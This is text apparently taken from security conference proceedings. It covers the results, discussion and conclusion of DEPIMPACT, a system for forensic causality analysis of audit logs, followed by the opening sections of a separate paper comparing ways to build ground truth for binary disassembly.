Illegal Storage 25 13 18 475.99 5

Illegal Storage2 1 1 1 1,893.66 2.50

Hide File 22 10.50 13.50 17,284.72 4

Steal Information 11 3.50 7 17,304.32 2

Backdoor Download 3.50 3.50 7.50 76.57 2

Annoying Server User 5 5 13 15.82 2

Shellshcok 11 19 13 22.63 2.30

Dataleak 35 9 9 48.34 4.30

VPN Filter 46 34 8 236.77 2.50

Five Dir. Case1 5 5 5 115.50 2

Five Dir. Case3 1 1 1 327.10 2

Theia Case1 1.5 1.5 1.5 88,956.70 1

Theia Case3 1 2 1 70,610.50 1.50

Trace Case5 2 2 2 10.10 1

AVG 11.67 8.12 8 13,160.14 2.41

performance. Compared with DEPIMPACT--, DEPIMPACT-

, the average-projection approach (shown in Column “Avg.

Proj.”), and the uniform random approach (shown in Column

“Rand.”), DEPIMPACT achieves 79.14%, 70.06%, 69.62% and

99.98% improvement in ranking the attack entries. These re-

sults demonstrate the necessity for DEPIMPACT to include all

three features, and the comparison with the average-projection

approach demonstrates the superiority of our discriminative

feature projection scheme over a fixed parameter vector.

5.5 RQ4: System Performance

To understand the performance of DEPIMPACT, we measure

the execution time of each step in DEPIMPACT, as shown in

Table 7. On average, DEPIMPACT takes 343.84s to finish ana-

lyzing an attack (i.e., weight computation and impact propaga-

tion) and dependency graph construction requires 65.83s (i.e.,

causality analysis and edge merge). We next compare DE-

PIMPACT with the average-projection approach and NoDoze.

We exclude the comparison of the execution times for the

common steps (causality analysis and edge merge).

From the comparison results of DEPIMPACT and the

average-projection approach in Table 7, we observe that (1)

DEPIMPACT takes more time for dependency weight computa-

tion (∼ 120s) because DEPIMPACT uses the Multi-KMeans++

clustering and LDA to find the optimal projection vector; (2)

DEPIMPACT takes less time for dependency impact propaga-

tion. The reason is because the dependency weights computed

by DEPIMPACT are much more discriminative, and hence the

score propagation can converge faster. As a result, DEPIM-

PACT reduces the execution time by 71.94% when compared

with the average-projection approach.

From the comparison results of DEPIMPACT and Nodoze

in Table 7, we can see DEPIMPACT need 343.84s to finish the

weight computation and impact propagation, NoDoze need

144.15s to finish the s anomaly score computation. In partic-

ular, while DEPIMPACT requires more time for processing

the 2 attacks whose dependency graphs have more than 3

million edges (i.e., the “Hide File” attack and the “Steal infor-

mation” attack), DEPIMPACT produces much smaller graphs

(∼ 800 edges) than NoDoze (> 20,000 edges). On average,

DEPIMPACT needs 343.84s to finish the dependency weight

computation and the dependency impact propagation, and

NoDoze needs 144.15s to finish the anomaly score compu-

tation (409.67s v.s. 209.98s for the whole analysis). Thus,

DEPIMPACT and NoDoze have similar runtime performance

for most of the attacks, and NoDoze is more efficient for

certain attacks but achieves much lower graph reduction.

6 Discussion

Evasion Attacks. Existing causality analysis techniques,

such as NoDoze [38], leverage execution profiles and rep-

utations of entities (e.g., IP and file reputations) to identify

anomaly edges. As shown in Section 5.2, attackers may hide

their attack steps in benign events or try to abuse the repu-

tation system to conceal their attack steps. Unlike existing

techniques, DEPIMPACT will not suffer from this type of

attacks since DEPIMPACT does not rely on execution pro-

files and reputations of system entities. To abuse our weight
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computation and back-propagation techniques, attackers may

perform multiple writes to inject the complete payload into a

file, with most of the writes behaving like normal behaviors.

To mitigate such attacks, we may treat each of the write event

as a POI event, apply DEPIMPACT on all the write events to

the malicious file that contains the payload, and investigates

all the generated graphs. We may also adopt process-based

anomaly detection techniques [70, 77] to help distinguish

these malicious writes.

Forensics of Real-World Attacks. Advanced Persistent

Threat (APT) and other real-world attacks are sophisticated

(multi-step attacks that exploit various vulnerabilities) and

stealthy (staying dormant for long period). Due to the ad-

vances of log compression techniques [41, 58, 74, 78] and

continuing decreases of storage costs, storing system audit

logs for months even years becomes affordable. Furthermore,

recent distributed database solutions [9, 10] show promising

results to improve the analysis performance of the logs. By

operating together with these solutions, DEPIMPACT can be

efficiently applied to long-period log data to investigate the

potential attacks. DEPIMPACT can be seamlessly integrated

with threat detection techniques [13, 37, 51, 64] to automati-

cally generate critical components for the reported alerts (i.e.,

the POI events), and security analysts can inspect the small

graphs (i.e., critical components) to obtain the contextual

information for handling the alerts.

Design Alternatives. DEPIMPACT is a general framework

that can use different combinations of features to investigate

different types of attacks. Our evaluations on a wide range of

attack scenarios (Section 5.1) demonstrate the effectiveness

and robustness of the chosen features. Besides the proposed

features, DEPIMPACT supports easy incorporation of other

features according to specific forensic investigation needs.

For edge weight computation, one alternative is to train a

binary classifier using the features and output a probability

score as the edge weight. However, such supervised learning-

based approach faces significant limitations in our problem

context: (1) as some of our features are computed with respect

to the specific POI, the classification model learned for one

type of attack can hardly generalize to other types of attacks

with different POIs; (2) such approach typically requires large

amount of training data, while our problem context is highly

imbalanced in which critical edges are limited. Among un-

supervised learning-based approaches, approaches based on

anomaly detection [20] could be a substitution for KMeans

clustering, and there could be alternatives for LDA to achieve

discriminative dimensionality reduction [60, 72].

Runtime Performance Improvement. The performance of

DEPIMPACT may benefit from database optimization and par-

allelization. Causality analyses can be improved by adopting

the database optimization and parallelization techniques to

speed up the search [30, 31]. Feature extraction for differ-

ent edges is independent and can also be parallelized. Back-

propagation (Equation (7)) can be converted into a matrix-

vector product form to save CPU cycles. Further paralleliza-

tion is possible by leveraging ideas similar to parallelizing

PageRank [32, 50].

Limitations. To investigate attacks, DEPIMPACT depends on

the underlying detection systems to identify the POI events

that are related to the attacks. If the underlying detection sys-

tems fail to do so, DEPIMPACT will not be able to investigate

the attacks. Recent approaches [37,77] have proposed solu-

tions to improve the detection of abnormal system activities

and DEPIMPACT can work with these approaches to provide

better defenses. Moreover, the critical components produced

by DEPIMPACT still have 200+ edges on average (i.e., Ta-

ble 5) due to the irrelevant system activities performed by the

processes that produce critical edges. We plan to explore how

to incorporate expert knowledge [34] and cyber threat intelli-

gence (CTI) [27] to filter out these non-critical edges. Finally,

DEPIMPACT cannot be used for real-time analysis as depen-

dency graph generation is costly under some scenarios even

when advanced data compression and parallel computation

are applied [41, 74, 78]. We plan to explore options that can

provide quicker feedback such as progressive updates [34,35].

7 Related Work

Forensic Analysis via System Audit Logs. Causality anal-

ysis based on system auditing data plays a critical role for

forensic analysis. King et al. [48, 49] proposed a backward

causality analysis technique by automatically reconstructing

a series of events that are dependent on a user-specified POI

event. Goel et al. [33] proposed a technique that recovers from

an intrusion based on forensic analysis. Recent efforts have

been made to mitigate the dependency explosion problem by

performing fine-grained causality analysis [42, 43, 45, 53, 57],

prioritizing dependencies [38, 55], customized kernel [16],

and optimizing storage [41, 54, 74, 78]. However, these tech-

niques suffer from adoption limitations as they mainly rely

on heuristic rules that cause loss of information [48], intru-

sive system changes such as binary instrumentation [45, 57]

and kernel customization [16], or execution profiles that have

limited generalizations [38]. DEPIMPACT proposes to com-

pute discriminative dependency weights based on multiple

features and perform back-propagation from the POI event to

compute dependency impacts for identifying attack entries,

which do not share the same adoption limitations with the ex-

isting techniques. Our evaluation results further demonstrate

the effectiveness of DEPIMPACT over the existing techniques.

Behavior querying leverages domain-specific languages

(DSLs) to search for patterns of system call events. Gao et

al. [30, 31] proposed domain-specific languages that enable

efficient attack investigation and attack detection by querying

the historical and real-time stream of system call events. A

major limitation of these DSLs is that they require manual

efforts to construct the queries, which is labor-intensive and

error-prone. Gao et al. [28] further proposed an automated
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threat hunting approach via extracting knowledge from cyber

threat intelligence (CTI) reports using NLP and synthesizing

threat hunting queries from the extracted knowledge. Mila-

jerdi et al. [62] proposed to rely on the correlation of suspi-

cious information flows to detect ongoing attack campaigns.

They further proposed to leverage the knowledge from CTI

reports to align attack behaviors recorded in system auditing

data via graph pattern matching [61]. Pasquier et al. [66] pro-

posed a runtime analysis of provenance by combining runtime

kernel-layer reference monitor with a query module. Hossain

et al. [40] proposed a tag-based technique to perform real-

time attack detection and reconstruction for system auditing

data. DEPIMPACT can be interoperated with these techniques

to achieve a better defense.

Score Propagation. Our relevance score propagation scheme

was inspired by the TrustRank algorithm [36], which was orig-

inally designed to separate spam and reputable web pages:

it first selects a small set of reputable seed pages, then prop-

agates the trust scores following the link structures using

the PageRank algorithm [65], and identifies spam pages as

those with low scores. Similar ideas have been applied in

security and privacy application scenarios including Sybil de-

tection [18,29] and fake review detection [68]. DEPIMPACT is

the first work that applies the score propagation idea in system

audit logging domain that propagates dependency impacts to

identify attack entries for filtering irrelevant dependencies.

Edge Weight Computation. Several components of DEPIM-

PACT are built up on a set of existing techniques. Our edge

clustering step is based on Multi-KMeans++ [15], which op-

timizes the seed initialization for better clustering quality,

compared with the standard KMeans. Our discriminative fea-

ture projection step is based on Linear Discriminant Analysis

(LDA) [60], which finds a linear combination of features that

characterizes or separates multiple classes of objects.

8 Conclusion

We propose DEPIMPACT, a framework that identifies the crit-

ical component of a dependency graph of a POI event gener-

ated by causality analysis, which preserves attack information

and filter out irrelevant dependencies. Specifically, DEPIM-

PACT assigns discriminative dependency weights to edges

for revealing critical edges, and computes and propagates de-

pendency impacts to entry nodes for revealing attack entries.

By further performing forward causality analysis from the

top-ranked entry nodes and taking the graph overlap, DEPIM-

PACT preserves only dependencies that are highly relevant

to the POI event and attack entries. Our evaluations on real

attacks demonstrate the effectiveness of DEPIMPACT in filter-

ing out irrelevant dependencies (producing∼ 6,250× smaller

graphs) while preserving the attack-relevant dependencies.
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Abstract
Modern disassembly tools often rely on empirical evaluations
to validate their performance and discover their limitations,
thus promoting long-term evolvement. To support the empiri-
cal evaluation, a foundation is the right approach to collect the
ground truth knowledge. However, there has been no unani-
mous agreement on the approach we should use. Most users
pick an approach based on their experience or will, regardless
of the properties that the approach presents.

In this paper, we perform a study on the approaches to
building the ground truth for binary disassembly, aiming to
shed light on the right way for the future. We first provide
a taxonomy of the approaches used by past research, which
unveils five major mechanisms behind those approaches. Fol-
lowing the taxonomy, we summarize the properties of the
five mechanisms from two perspectives: (i) the coverage and
precision of the ground truth produced by the mechanisms
and (ii) the applicable scope of the mechanisms (e.g., what
disassembly tasks and what types of binaries are supported).
The summarization, accompanied by quantitative evaluations,
illustrates that many mechanisms are ill-suited to support the
generation of disassembly ground truth. The mechanism best
serving today’s need is to trace the compiling process of the
target binaries to collect the ground truth information.

Observing that the existing tool to trace the compiling
process can still miss ground truth results and can only handle
x86/x64 binaries, we extend the tool to avoid overlooking
those results and support ARM32/AArch64/MIPS32/MIPS64
binaries. We envision that our extension will make the tool a
better foundation to enable universal, standard ground truth
for binary disassembly.

1 Introduction

Disassembly is the process of reversing basic constructs,
such as instructions and functions, from binary code. It
offers the foundation for binary analysis and the down-
stream security applications (e.g., code layout randomization
[12,15], control flow integrity [31,37], and similarity measure-
ment [11, 16, 36]). To support disassembly, an abundance of
tools have been created, ranging from open source ones (e.g.,
ANGR [33] and GHIDRA [3]) to commercial ones (e.g., IDA
PRO [13] and BINARY NINJA [25]). To the success of these
tools, a critical but easily overlooked factor is the generation
of accurate ground truth of disassembly results. On the one
hand, ground truth knowledge is a foundation to build many
tools. In particular, data-mining or machine learning based

tools [10, 28, 32, 35] need ground truth to label data for train-
ing the models. On the other hand, ground truth information
is indispensable to measure the disassembly outcomes, which
drives the evolvement of nearly every tool.

Despite the importance of ground truth for disassembly, it
has not received due attention. Past research on binary disas-
sembly has been creating/obtaining ground truth somewhat
arbitrarily, without sufficient consideration of the rigor. Take
the recovery of instructions as an example. As far as we know,
there are four distinct strategies to obtain the ground truth.
Meng et al. [22] run manual analysis to obtain the ground
truth, while ZAFL [23] simply considers the results produced
by existing disassemblers (OBJDUMP) as the ground truth (or
precisely, baseline) for comparison. In contrast, XDA [28] and
Andriesse et al. [5] combine instruction locations embedded
in the debug information and linear sweeping to collect legiti-
mate instructions. More intelligently, Pang et al. [26] trace
the compiling, assembling, and linking process to gather all
the instructions emitted by the compilation toolchain. How-
ever, little has been done to inspect the fidelity of various
types of ground truth and the implications behind. Instead,
the community seems to have been permissive towards the
choice of ground truth and accept whatever being used.

In this paper, we focus on the above concern about ground
truth for binary disassembly. We start with a taxonomy of the
approaches to building ground truth information for major dis-
assembly tasks (recovery of instructions, function boundaries,
and control flows). The taxonomy describes the internal princi-
ples and mechanisms of each approach. Overall, five different
mechanisms are being used nowadays. These mechanisms are
heterogeneous in nature, ranging from labor-intensive ones
(① manual analysis) to opportunistic ones (② reusing exist-
ing disassemblers) and compiler-aided ones (③ leveraging
compilation metadata, ④ exploiting intermediate compiler
outputs, and ⑤ tracing the compiling process).

Following the taxonomy, we run a qualitative analysis to
compare the five mechanisms from two key perspectives that
affect their applications, including (i) the recall and precision
of the ground truth produced by the mechanisms and (ii) the
applicable scope of the mechanisms (e.g., what disassembly
tasks and what types of binaries are supported). It turns out
that many of the mechanisms are somewhat ill-suited to sup-
port the generation of ground truth. Most notably, they lack
the necessary foundations to ensure coverage and correct-
ness, which tend to present inadequate recall and precision.
Throughout further, quantitative evaluations, we validate that
the lack of recall and precision can very often lead to incom-
plete observations and unreliable conclusions. For instance,
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Meng et al. [22] rely on manual analysis to collect a small
set of ground truth results for evaluating their DYNINST tool,
which demonstrates full accuracy of DYNINST in handling
complex constructs. However, extending the ground truth to
include all the results, we observe that DYNINST may not
offer perfect accuracy.

While our study and evaluation unveil the inappropriate-
ness of many existing approach, we, fortunately, identify that
the mechanism of tracing the compiling process can largely
meet the requirement of providing ground truth for binary
disassembly. The mechanism essentially reports the infor-
mation that the compiler considers as the ground truth when
compiling the target binaries. In result, this mechanism of-
fers guaranteed precision and supports all kinds of disas-
sembly tasks. However, only one tool, developed by Pang
et al. [26], supports tracing the compiling process to collect
disassembly ground truth. And the tool has two major issues
to serve today’s needs: it still misses a set of ground truth
that the compiler cannot recognize and it can only handle
x86/x64 binaries. Motivated by the potential of the tool, we
extend it to re-collect the missing ground truth and to support
ARM32/AArch64/MIPS32/MIPS64 binaries. Applying the
extended tool to re-evaluate mainstream disassembly tools,
we derive a group of previously less-known findings. For
instance, commercial tools, such as IDA PRO and BINARY
NINJA, present substantially downgraded performance when
disassembling MIPS binaries. We anticipate that our exten-
sion will make the tool a better foundation to enable universal,
standard ground truth for binary disassembly.

In summary, we make the following main contributions.

• We present a systematic taxonomy of the approaches and
mechanisms to collect ground truth for binary disassembly.
The taxonomy brings a better view of what are being used
and accepted today.

• We perform a qualitative analysis to unveil the limitations
of existing approaches for disassembly ground truth. We
further conduct a quantitative evaluation to demonstrate the
implications and harms those limitations can bring to the
applications. The analysis and evaluation provide evidence
for the need of better, trustworthy approaches.

• We extend the state-of-the-art tool to enable complete, pre-
cise, and widely applicable collection of ground truth for
binary disassembly. This piece of extension helps pave the
way to standardize and unify the ground truth for binary
disassembly evaluation. The code and dataset are available
at https://github.com/junxzm1990/x86-sok.

2 Taxonomy of Ground Truth Approaches

There has been no agreement on the approach to creating the
ground truth for binary disassembly. Thus, various approaches
exist and are being used. To systematically understand those
approaches, we first categorize them based on their internal

mechanisms. In general, the approach for ground truth is
tied to the disassembly task. To better bound our research,
we focus on ground truth for three major disassembly tasks
(definitions are adapted from previous research [10, 22, 26,
27]).
• Instruction Recovery is the process of identifying instruc-

tions emitted by the compiler or introduced by the developer
in a binary program.

• Function Detection is to reconstruct the mapping from
the code in a binary to the corresponding functions in the
source code. In this paper, we focus on the detection of
function starts, considering that other function information
can be easily obtained by combining the function start and
the control flows [6].

• CFG Reconstruction re-builds the control flow graph
(CFG) of a binary program. This paper only discusses con-
trol flows in the form of indirect jumps. Other control flows
are either trivial to obtain (e.g., direct jumps/calls) or less
feasible to reconstruct (e.g., indirect calls), and modern dis-
assemblers do not particularly handle them.

On the market, the existing approaches to obtaining ground
truth prevalently adopt five mechanisms. They take the target
binaries as inputs and output constructs required by the above
diassembly tasks as the ground truth. They also often assume
they have access to the compilation process of the target
binaries.

Running Manual Analysis. This is an intuitive but less pop-
ular approach. Meng et al. [22] used this approach when
evaluating their DYNINST tool. They manually collected the
ground truth for a small set of instructions, functions, and con-
trol flows. In particular, they focused on challenging code con-
structs, such as non-instruction bytes in code, non-contiguous
functions, and jump tables.

Reusing Existing Disassemblers. From time to time, people
consider existing, reputed disassemblers as the oracle and use
their outputs as the baseline for comparison. Nagy et al. [23]
run LLVM-OBJDUMP on target binaries to get the baseline
of instructions, when measuring the coverage of their ZAFL
tool. In contrast, Kinder et al. [18] take jump tables detected
by IDA PRO as the baseline to evaluate their JAKSTAB tool
in reconstructing control flows.

Exploiting Intermediate Compiler Outputs. Modern com-
pilers can be configured to output certain intermediate results,
which have been exploited by recent research [21,34] to derive
disassembly ground truth.

1 offsets raw bytes instructions
2 0000: F30F1EFA endbr64
3 0004: 55 push %rbp
4 0005: 4889 E5 mov %rsp , %rbp
5 0008: 488 D3D00 lea .LC0 (% rip), %rdi

Listing 1: A snippet of listing files by GAS Assembler.
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Li et al. [21] leverage the listing files produced by as-
semblers to obtain the ground truth of instructions. Listing 1
presents an example of listing files produced by GNU Assem-
bler when given the option of –listing-rhs-width=1024.
A listing file is tied to an object file, which gives offsets of
all instructions in each function belonging to the object file.
Adding the offset to the start address of a function recorded
by its symbol in the linked binary, one can calculate the final
address of each instruction in the function.

1 ;; Function main (main, funcdef_no=9, decl_uid=2839)
2 ...
3 (jump_insn # (parallel [(set (pc) (reg:DI 0 ax [92]))
4 ])# {∗tablejump_1} ; this is a jump table reference)
5 (jump_table_data # 0 0 (addr_diff_vec:SI

(label_ref:DI #)
6 [ ; array of jump table entries
7 (label_ref:DI #)
8 (label_ref:DI #)
9 (label_ref:DI #)

10 (label_ref:DI #)
11 (label_ref:DI #) ]

Listing 2: Example of RTL output by GCC. It shows that
the main function contains one jump table with five targets.

David et al. [34] configure GCC to dump the final in-
ternal representation (RTL) during compilation, using the
developer option -fdump-final-insns. They then extract
“rough” ground truth about jump tables from the RTL file. As
shown in Listing 2, RTL unveils the number of jump tables
and the number of targets of each jump table in each function,
which is deemed as the ground truth in [34].

Leveraging Compilation Metadata. The compilation tools,
given the needed options, can maintain various metadata in
the produced binaries. Such metadata, including symbols and
debug information (-g), is often used to obtain disassembly
ground truth.

Using addresses embedded in symbols as the ground truth
of function starts is a de facto standard strategy [5, 6, 10, 28,
35]. This piece of ground truth has also been used for different
goals. Andriess et al. [5] and Nucleus [6] leverage symbols
to measure their disassemblers’ performance of function de-
tection. Byteweight [10], XDA [28], and DEEPDI [35] apply
symbols to train and test their machine learning models for
function detection.

ARM binaries can also carry a special type of symbols
called mapping symbols [8], which mark the beginning ad-
dress of a sequence of ARM code, Thumb code, or data. Jiang
et al. [17] exploit the mapping symbols to collect ground
truth of instructions. Their idea is to linearly disassemble the
instruction from the beginning of a ARM/Thumb code region
until the next mapping symbol. In fact, OBJDUMP works in a
similar way when such mapping symbols exist. In this regard,
Jiang et al. [17] is essentially “reusing” OBJDUMP to obtain
ground truth of instructions.

Unlike symbols, debug information is mostly used to pro-
duce the ground truth of instructions and jump tables. An-
driess et al. [5] and XDA [28] collect addresses of legitimate
instructions encoded in the line information and linear sweep
the regions between any two addresses to build ground truth of
instructions. For conservativeness, they stop the linear sweep-
ing when encountering a control flow instruction. Andriess
et al. [5] further leverage the line information to pinpoint
jump tables. Specifically, they map switch statements and
their cases in the source code to indirect jumps and their
targets in the binary, based on the line information.
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Figure 1: The tools Pang et al. [26] use to obtain ground truth
for binary analysis. The boxes with grey color indicate com-
ponents that are modified in LLVM, GCC, and Gold Linker.

Tracing Compiling Process. The last mechanism is proposed
by Pang et al. [26]. They trace the end-to-end compiling, as-
sembling, and linking procedure to collect various types of
ground truth. Their approach follows the idea of CCR [19].
As shown in Figure 1, CCR extends the LLVM Machine Code
(MC) layer. While assembling a bitcode file or an assembly
file to an object file, the extended MC layer collects informa-
tion about basic blocks, functions, and jump tables, and keeps
the information in an extra section. To merge information
from multiple object files, CCR further instruments the GNU
gold linker to adjust the above items in the process of linking.

Pang et al. also port the idea of CCR to GNU GCC. By
instrumenting the RTL pass in GCC, they insert primitives
to label functions, basic block, and jump tables in the assem-
ble code. In the procedure of assembling, these primitives
facilitate the customized GNU Assember (GAS) to collect
information about the corresponding items. Similar to CCR,
they save the collected information as a new section in each
object file and reuse the CCR linker for merging the object
files.

3 Properties of Ground Truth Approaches

The diverse group of ground truth approaches offer a wide
range of choices, but there lacks a systematic comparison of
those approaches. In this section, we inspect the existing ap-
proaches from four perspectives that affect their applications.

• Precision describes the ratio of correct results in
the “ground truth” reported by an approach. Formally,
precision = |T P|

|T P|+|FP| (T P and FP stand for true positives
and false positives). A low precision means the ground truth
includes many errors and should not be trusted.

USENIX Association 31st USENIX Security Symposium    2481



Table 1: Qualitative comparison of existing approaches to building ground truth for binary disassembly. The degree of filling in a
circle shows how well a mechanism satisfies a property. For instance, means full satisfaction and indicates zero satisfaction.

Mechanisms Applications Properties
Precision Recall Generality Extendibility

Running Manual Analysis [22]
Reusing Existing Disassemblers [18, 23]

Exploiting Intermediate Compiler Outputs [21, 34]
Leveraging Compilation Metadata [5, 10, 17]

Tracing compilation Process [26]

• Recall measures the ratio of all correct results covered
by the reported ground truth. Formally, recall = |T P|

|T P|+|FN|
(FN stands for false negatives). Ground truth with limited
coverage may also not be trusted as it gives incomplete
information, which can be biased and misleading

• Generality requires that ground truth approach supports
various disassembly tasks. The common ones include in-
struction recovery, function detection, and CFG reconstruc-
tion, as described in section 2.

• Extendibility concerns the types of binaries that the ground
truth approach can be applied to. Two common metrics of
extendibility are what architectures are supported (e.g., x86,
ARM, and MIPS) and what compilers are supported (e.g.,
GCC, Clang, and MSVC).

Table 1 summarizes the above properties of the approaches
we categorized in section 2.

Running Manual Analysis. Assuming the analysts are expe-
rienced and cautious, this approach shall offer ground truth
with extremely high precision. In addition, the approach can
be generally applied to any disassembly tasks and binaries
produced by any compilers/running on any architectures. This
implies high generality and high extendibility.

1 ;original code
2 vpmull.p64 $Xl,$H,$H
3 ...
4 vpmull2.p64 $Xh,$H,$H
5 vpmull.p64 $Xm,$t0,$t0

1 ; replaced version
2 .word 0xf2a02ea0
3 ...
4 .word 0xf2a94ea9
5 .word 0xf2a02ea0

Listing 3: Code labeled as data in openssl1.1.0l, ARM
version. Before assembling, vpmull.p64/vpmull2.p64 in-
structions (left) are replaced by .word bytes (right) to accom-
modate assemblers that cannot recognize those instructions.

The primary drawback of the approach is its limited scala-
bility. Given benchmarks with larger binaries, it is practically
infeasible to gather all the ground truth manually. Thus, the ap-
proach tends to present a limited recall. This is also reflected
by that Meng et al. [22] only picked ten to twenty instances
of each construct. Despite the overall low coverage, manual
analysis (precisely, human intelligence) is indispensable to

cover certain results. Listing 3 shows an example where code
is labeled as .words in the assembly file. The assembler will
emit them as data in the code region. In this case, human
intelligence is needed to understand the replacing procedure
and thus, identify the instructions.

Reusing Existing Disassemblers. This is the most straight-
forward approach to obtaining the ground truth. It supports all
disassembly tasks and all binaries that the underlying disas-
semblers can handle. For instance, using IDA PRO for ground
truth will cover nearly everything, thus presenting perfect
generality and extendibility.

1 fgetspent_r:
2 1003ab: je 1003ae <fgetspent_r+0x3e>
3 1003ad: lock cmpxchg %ecx,(%ebx)
4 1003ae: cmpxchg %ecx, (%edx) ; overlapped instruction

Listing 4: Overlapped instructions in glibc compiled by
GCC-8.1 with O2. Line 3 and line 4 are two overlapped
instructions that share the same part starting at 0x1003ae.
OBJDUMP can only recognize the instruction at 0x1003ad.

In principle, using this approach means considering the
underlying disassembler as the oracle. Unfortunately, none of
the existing disassemblers provides perfect recall or precision,
regardless of the disassembly tasks. Consider the case of using
OBJDUMP [23] for baseline of instructions as an example.
OBJDUMP has the well-known drawback of misrecognizing
data as code, often creating false positives in the recovered
instructions. Even only considering the recall of OBJDUMP
like Nagy et al. [23], it has the issue of skipping overlapped
instructions. Listing 4 shows such an example.

The situation of using IDA PRO for baseline of jump tables
is similar. As we will show in section 4, IDA PRO produces
hundreds of false positives and false negatives when running
on the x86/x64 benchmarks presented in [26]. Applied to
MISP benchmarks, the results are even more concerning. Both
false positive rate and false negative rate are significantly
higher. Related details are covered in subsection 6.4.

Exploiting Intermediate Compiler Outputs. Ground truth
obtained with this approach is essentially compilation result
that will appear in the binary. For instance, listing files in-
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clude instructions eventually constitute the code in the binary.
Assuming no optimizations happen after generation of the
intermediate outputs (e.g. no link time optimizations), the fi-
delity (or precision) of the ground truth is guaranteed. In most
cases, the recall of the ground truth is also guaranteed. The
only exceptions happen when the compiler does not know the
ground truth (e.g. Listing 3) or it does not explicitly output
the ground truth in the intermediate results (e.g. Listing 4).

Despite the guaranteed precision and recall, ground truth
extracted from intermediate compiler outputs is often not easy
to use. Specifically, the results are labeled with intermediate
identities, making it complicated to map them to their coun-
terparts in the final binary. In the case of using listing files
to collect instructions [21], the available information is func-
tion names and offsets of instructions in each function. To
find those instructions in the final binary, symbols are then
used to map function names to their addresses in the binary
program. This method works in most cases but can fail when
aliased functions exist1. To further distinguish aliased func-
tions, Li et al. leverage the debug information to uniquely
associate each function with its source code location. Doing
so helps but inevitably increases the complexity and inher-
its the defects of debug information. Using RTL for jump
tables has similar issues. RTL can only tell the number of
jump tables and the number of targets of each jump table in
a function, which cannot map to the specific instances in the
binary. Applying such ground truth, for example, to evaluate
the performance of disassemblers, cannot pinpoint the errors
when detected and can even mask real errors.

Another major issue of this approach is the limited gen-
erality and extendibility. It fully depends on what outputs
the compiler is designed to export. For instance, listing files
can only be used to collect instructions and RTL may only
help jump tables. There lacks similar outputs for other disas-
sembly tasks. In addition, listing files is only supported by
GNU assembler in Linux and RTL is a unique output of GCC.
Such intermediate results may not be available when using a
different compilation toolchain.

1 __bn_postx4x_internal:
2 mov 8∗0($nptr),%r12
3 mov %rcx,%r10 # −$num
4 ...
5 call __bn_postx4x_internal

Listing 5: Handwritten assembly code in openssl1.1.0l.
Line 1 defines a function but does not label it with .type
@function. No code symbol is created for the function.

Leveraging Compilation Metadata. This approach has a
principle similar to exploiting intermediate compiler outputs if
considering compilation metadata as compiler outputs. There
is, however, a fundamental difference. Intermediate compiler

1Compilers can link aliased functions in the same binary if the functions are
declared as weak symbols (e.g., __attribute__(weak)) for GCC

outputs are essentially the ground truth before converted to
the final form in the binary, while compilation metadata is
auxiliary data that happens to carry ground truth information
for disassembly. This difference affects both precision and
recall of the ground truth.

1 ; line information
2 Address Line
3 0 x4402cb 334
4 0 x4402da 334

1 4402cb: call 0x403760
2 4402d0: mov 0x40(%rsp),%r8
3 4402d5: mov 0x30(%rsp),%r9
4 4402da: mov (%rax),%rdx

Listing 6: Example in findutils where the approach
using debugging information [5] misses legitimate instruc-
tions. The left part shows two continuous records of line
information and the right part shows the related instruc-
tions. The approach in [5] starts linear disassembly at the
address encoded in the first line information (0x4402cb)
and stops at that instruction as it transfers the control flow.
It then continues the disassembly at the address encoded
in the second line information (0x4402cb). This way, it
misses two instructions at 0x4402d0 and 0x4402d5.

Symbols are created to facilitate symbolization of code or
data in scenarios like linking and debugging. A code sym-
bol, having the STT_FUNC type and representing a contiguous
code region, mostly corresponds to a function but it is not man-
dated. Modern compilers like GCC can split a function into
discontinuous regions (e.g., hot/cold function splitting [20])
and attaches a separate symbol for each region to accom-
modate debugging. Thus, using code symbols as the ground
truth of function starts can introduce false positives when dis-
continuous functions appear. In addition, the developers may
occasionally omit the @function type for function names
when creating handwritten assembly code. The compiler will
not introduce a code symbol for these functions. Thus, false
negatives can also arise when using symbols as the ground
truth for functions. Listing 5 presents such as an example.

1 ; debug line
2 Address Line
3 0 x493b17 23
4 0 x493b1f 23

1 493b17: mov %rax,%rbp
2 493b1a: jmpq 46de4e
3 493b1f: 00 ; alignments
4 493b20: push %rbx

Listing 7: Flase positive of debug information in
filezilla compiled by GCC-8.1. The left part is two
continuous records of debug information. It has the record
of address 0x493b1f. While 0x493b1f is a one byte align-
ment as shown in right part.

Debugging information is even more problematic when
leveraged to collect disassembly ground truth. It typically
includes line information to keep the address of the first
instruction compiled from each intermediate representation
statement (e.g., GCC GIMPLE). Thus, the line information
encodes locations of many instructions but not all of them. As
pointed out in section 2, attempts have been made by combing
the line information and conservative disassembly to gather
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ground truth of instructions. Not surprisingly, this approach
is not perfect. According to our preliminary evaluation (as
shown in Appendix A), it may miss millions of legitimate
instruction when applied to the x86 benchmarks presented in
[26]. Listing 6 illustrates why with an example. This approach
can also introduce many false instructions as line information
may point to alignment bytes instead of real instructions, as
shown in Listing 7. These problems of line information have
similar impacts when applied on mapping switch-cases in
source code to jump tables in the binary.

While compilation metadata brings less complete and less
precise ground truth, it still has advantages compared to in-
termediate compiler outputs. First, compilation metadata is
easier to use because it carries final information in the binary
(e.g., final address of an instruction) instead of intermediate
results. Second, compilation metadata, including symbols and
debugging information, is a standard feature of modern com-
pilers, regardless of the compiler version and the architecture
the produced binaries will run on. Hence, relying on compila-
tion metadata to produce disassembly ground truth shall have
excellent extendibility.

Tracing Compiling Process. The key idea of this approach is
to track the steps where the compiler generates the constructs
needed by the ground truth. It tags those constructs all the
way until they arrive at the final binaries. In a general sense,
the constructs are what the compiler views as the ground truth.
Thus, their precision is guaranteed and will not incur prob-
lems that other approaches have. For instance, the approach
records all the basic blocks that the compiler creates for a
function, regardless of where the basic blocks are placed in
the binary. This way, it can recognize non-contiguous func-
tions and avoids false positives that symbol-based approaches
produce.

Similar to using intermediate compiler outputs, this ap-
proach offers high recall but cannot cover the cases that the
compiler fails to recognize. Listing 3 and Listing 5 show such
examples of instructions and functions. In addition, develop-
ers may often create handwritten jump tables in assembly
files, which the compiler can also miss (see subsection 6.2).
Listing 4 demonstrates another special class of cases. In
this example, the compiler generates a jump from 0x1003ab
to 0x1003ae, showing its awareness of the instruction at
0x1003ae. Capturing this case requires fine-grained tracing
of compiler operations on generating assembly code, which
the tool proposed by Pang et al. [26] does yet not support.

Besides guaranteed precision and extremely high recall,
this approach has two other advantages. First, it can support
nearly every disassembly task because it can freely collect
information from the compilation process. In this regard, the
approach has unrestricted generality. Second, the results it
collects are what present in the final binary. No extra mapping
or processing is needed before using the results.

